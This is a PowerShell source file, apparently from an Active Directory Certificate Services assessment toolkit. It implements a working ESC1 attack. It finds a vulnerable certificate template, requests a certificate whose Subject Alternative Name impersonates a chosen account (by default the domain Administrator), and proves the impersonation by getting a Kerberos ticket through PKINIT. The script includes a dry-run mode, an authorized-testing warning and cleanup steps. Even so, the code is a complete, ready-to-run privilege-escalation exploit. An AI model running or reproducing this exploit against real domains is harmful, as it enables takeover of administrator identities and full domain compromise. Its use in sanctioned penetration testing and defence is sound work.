Private/Invoke-ESC1Attack.ps1
|
function Invoke-ESC1Attack { <# .SYNOPSIS Performs an ESC1 attack by requesting a certificate with a spoofed principal SAN, then verifies it via PKINIT - pure PowerShell, no Certify.exe or Rubeus.exe. .DESCRIPTION Executes an ESC1 (SAN Spoofing) attack against a vulnerable certificate template. Requests a certificate whose Subject Alternative Name impersonates a target security principal using Request-ESC1Certificate (inbox .NET CertificateRequest + CertificateAuthority.Request COM). After issuance, verifies the certificate authenticates as the target via the vendored PSPkinit Invoke-PkinitAuthentication (RFC 4556 MODP DH). The TGT is verified and then zeroed/discarded - never injected, written to disk, or applied to the session. If no target principal is specified, defaults to the domain Administrator (RID 500). ESC1 attacks exploit templates that: 1. Allow SAN specification (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, name flag 0x1) 2. Have Client Authentication EKU enabled 3. Allow low-privileged users to enroll 4. Do not require manager approval or authorized signatures .PARAMETER TemplateObject A DirectoryEntry object representing a certificate template (pKICertificateTemplate) vulnerable to ESC1. Should allow SAN specification and have Client Auth EKU. .PARAMETER CertificateAuthority The CA configuration string "CA-SERVER\CA-NAME". Auto-discovered if omitted. .PARAMETER TargetPrincipal DirectoryEntry of the security principal to impersonate. Defaults to domain Administrator (RID 500). Can be resolved with Resolve-Principal. .PARAMETER WhatIf Shows what attack would be performed without contacting the CA or KDC. .INPUTS System.DirectoryServices.DirectoryEntry (certificate template). .OUTPUTS PSCustomObject with Success, TemplateName, TargetPrincipal, TargetSID, SanPresent, Certificate (thumbprint), PkinitVerified, Principal, Realm, TgtEndTime, Error. .EXAMPLE $VulnTemplate = Get-AdcsObjects | Where-Object { $_.Properties['name'].Value -eq 'VulnTemplate' } Invoke-ESC1Attack -TemplateObject $VulnTemplate .EXAMPLE $TargetUser = Resolve-Principal -Identity "Administrator" Invoke-ESC1Attack -TemplateObject $Template -TargetPrincipal $TargetUser .EXAMPLE $ESC4Issue | ConvertTo-ESC1 -PassThru | Invoke-ESC1Attack .NOTES WARNING: This performs a real certificate enrollment + PKINIT authentication. Only use in authorized test environments. The KDC logs the authentication. Issued certificates are logged on the CA (event 4886/4887) and are revocable. No external tools required. Enrollment and PKINIT are implemented in-process: - Request-ESC1Certificate (replaces Certify.exe) - Invoke-PkinitAuthentication (vendored PSPkinit, replaces Rubeus.exe) .LINK https://posts.specterops.io/certified-pre-owned-d95910965cd2 #> [CmdletBinding(SupportsShouldProcess)] param ( [Parameter(Mandatory, ValueFromPipeline)] [ValidateNotNull()] [System.DirectoryServices.DirectoryEntry]$TemplateObject, [Parameter()] [string]$CertificateAuthority, [Parameter()] [System.DirectoryServices.DirectoryEntry]$TargetPrincipal ) #requires -Version 5.1 begin { Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." # Load vendored PSPkinit (idempotent; safe to re-dot-source) $pspk = Join-Path $PSScriptRoot 'PSPkinit' if (Test-Path $pspk) { foreach ($f in 'Asn1.ps1','KerberosCrypto.ps1','PkinitMessages.ps1','PkinitModPow.ps1','Pkinit.ps1','CertEnroll.ps1','Invoke-PkinitAuthentication.ps1') { $p = Join-Path $pspk $f if (Test-Path $p) { . $p } } } # ESCalator enrollment helpers foreach ($f in 'ConvertTo-Pkcs8PrivateKey.ps1','ConvertTo-NtdsSidExtension.ps1','Request-ESC1Certificate.ps1') { $p = Join-Path $PSScriptRoot $f if (Test-Path $p) { . $p } } # Domain info for default target + realm/KDC derivation $domainSid = $null $netbiosDomain = $env:USERDOMAIN $domainFqdn = $null try { $rootDSE = New-Object System.DirectoryServices.DirectoryEntry("LDAP://RootDSE") $defaultNC = $rootDSE.Properties["defaultNamingContext"].Value $domainFqdn = ($defaultNC -replace 'DC=','' -replace ',','.') $domainEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$defaultNC") if ($domainEntry.Properties["objectSid"].Value) { $sidObj = New-Object System.Security.Principal.SecurityIdentifier($domainEntry.Properties["objectSid"].Value, 0) $domainSid = $sidObj.Value } Write-Verbose "Domain FQDN: $domainFqdn, NetBIOS: $netbiosDomain, Domain SID: $domainSid" } catch { Write-Warning "Could not retrieve domain information: $($_.Exception.Message)" } } process { $templateName = $TemplateObject.Properties['name'].Value $fail = { param($msg) Write-Error $msg return [PSCustomObject]@{ Success = $false; TemplateName = $templateName; TargetPrincipal = $null TargetSID = $null; SanPresent = $false; Certificate = $null PkinitVerified = $false; Principal = $null; Realm = $null; TgtEndTime = $null; Error = $msg } } if ($TemplateObject.SchemaClassName -ne 'pKICertificateTemplate') { return & $fail "Input object is not a certificate template. SchemaClassName: $($TemplateObject.SchemaClassName)" } # Validate ESC1 vulnerability signals $nameFlags = [int]$TemplateObject.Properties['msPKI-Certificate-Name-Flag'].Value $ekus = @($TemplateObject.Properties['pKIExtendedKeyUsage'].Value) $sanEnabled = ($nameFlags -band 0x1) -eq 0x1 $clientAuthEnabled = $ekus -contains "1.3.6.1.5.5.7.3.2" if (-not $sanEnabled) { Write-Warning "Template '$templateName' does not allow SAN specification (ENROLLEE_SUPPLIES_SUBJECT not set)" } if (-not $clientAuthEnabled) { Write-Warning "Template '$templateName' does not have Client Authentication EKU" } # Resolve target principal $targetSID = $null; $targetName = $null; $targetUPN = $null if ($TargetPrincipal) { try { if ($TargetPrincipal.Properties['objectSid'].Value) { $targetSID = (New-Object System.Security.Principal.SecurityIdentifier($TargetPrincipal.Properties['objectSid'].Value, 0)).Value $targetName = $TargetPrincipal.Properties['sAMAccountName'].Value $targetUPN = $TargetPrincipal.Properties['userPrincipalName'].Value Write-Verbose "Target principal: $targetName (SID: $targetSID, UPN: $targetUPN)" } else { throw "Target principal has no valid SID" } } catch { return & $fail "Failed to extract SID from target principal: $($_.Exception.Message)" } } else { if ($domainSid) { $targetSID = "$domainSid-500" $targetName = "Administrator" Write-Verbose "Defaulting to Administrator (RID 500): $targetSID" } else { return & $fail "Could not determine target principal (no domain SID)" } } # Build UPN for SAN $upnValue = if ($targetUPN) { $targetUPN } else { "$targetName@$domainFqdn" } Write-Verbose "SAN UPN: $upnValue" # Auto-discover CA if (-not $CertificateAuthority) { try { $adcsObjects = Get-AdcsObjects $caObjects = $adcsObjects | Where-Object { $_.SchemaClassName -eq 'pKIEnrollmentService' } if ($caObjects) { $caFullName = Get-CAFullName -CAObjects $caObjects $CertificateAuthority = if ($caFullName -is [string]) { $caFullName } else { $caFullName[0] } Write-Verbose "Discovered CA: $CertificateAuthority" } } catch { Write-Verbose "CA auto-discovery failed: $($_.Exception.Message)" } if (-not $CertificateAuthority) { return & $fail "Could not auto-discover Certificate Authority" } } # Derive realm + KDC hostname $realm = $domainFqdn.ToUpperInvariant() $kdc = $null try { $kdc = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindDomainController().Name } catch { $kdc = ($CertificateAuthority -split '\\')[0] # fall back to CA host } Write-Verbose "Realm: $realm, KDC: $kdc" if (-not $PSCmdlet.ShouldProcess("Template: $templateName", "ESC1 attack (request cert with spoofed SAN + PKINIT verify)")) { Write-Host "What if: Would request certificate from '$CertificateAuthority' template '$templateName' with SAN UPN '$upnValue' (SID $targetSID)" -ForegroundColor Yellow Write-Host "What if: Would verify the issued cert authenticates as $upnValue via PKINIT against $kdc" -ForegroundColor Yellow return [PSCustomObject]@{ Success = $true; TemplateName = $templateName; TargetPrincipal = $targetName TargetSID = $targetSID; SanPresent = $null; Certificate = $null PkinitVerified = $null; Principal = $null; Realm = $realm; TgtEndTime = $null; Error = 'WhatIf' } } Write-Warning "Executing ESC1 attack against template '$templateName' (SAN: $upnValue)" # Step 1: request the certificate (pure PowerShell, no Certify.exe) $req = Request-ESC1Certificate -TemplateName $templateName -CertificateAuthority $CertificateAuthority -TargetUPN $upnValue -TargetSid $targetSID if (-not $req.Success) { return & $fail "Certificate request failed: $($req.Error)" } Write-Host "[+] Certificate issued. SAN honored: $($req.SanPresent)" -ForegroundColor Green if (-not $req.SanPresent) { Write-Warning "CA did NOT retain the requested SAN - template is not ESC1-exploitable as configured" } # Step 2: verify via PKINIT (vendored PSPkinit, no Rubeus.exe) $pkinitVerified = $false $pkPrincipal = $null $pkEnd = $null try { Write-Host "[i] Verifying certificate via PKINIT against $kdc..." -ForegroundColor Cyan $auth = Invoke-PkinitAuthentication -Certificate $req.Certificate -ClientName $upnValue -Realm $realm -KdcHostname $kdc $pkinitVerified = [bool]$auth.Verified $pkPrincipal = $auth.CName $pkEnd = $auth.EndTime Write-Host "[+] PKINIT verified: TGT issued for $($auth.CName) (valid until $($auth.EndTime)). TGT discarded, not injected." -ForegroundColor Green } catch { Write-Warning "PKINIT verification failed: $($_.Exception.Message)" } finally { # Clean up the ephemeral machine-store cert + key container created by Request-ESC1Certificate if ($req.Certificate) { try { $st = [System.Security.Cryptography.X509Certificates.X509Store]::new('My','LocalMachine') $st.Open('ReadWrite'); $st.Remove($req.Certificate); $st.Close() } catch { Write-Verbose "Cert store cleanup: $($_.Exception.Message)" } } if ($req.KeyContainerName) { try { $csp = [System.Security.Cryptography.CspParameters]::new() $csp.KeyContainerName = $req.KeyContainerName $csp.Flags = [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore $cleanup = [System.Security.Cryptography.RSACryptoServiceProvider]::new($csp) $cleanup.PersistKeyInCsp = $false; $cleanup.Clear() } catch { Write-Verbose "Key container cleanup: $($_.Exception.Message)" } } if ($req.RsaKey) { $req.RsaKey.Dispose() } } return [PSCustomObject]@{ Success = ($req.Success -and $req.SanPresent) TemplateName = $templateName TargetPrincipal = $targetName TargetSID = $targetSID SanPresent = $req.SanPresent Certificate = $req.Certificate.Thumbprint PkinitVerified = $pkinitVerified Principal = $pkPrincipal Realm = $realm TgtEndTime = $pkEnd Error = $null } } end { Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand) on $env:COMPUTERNAME..." } } |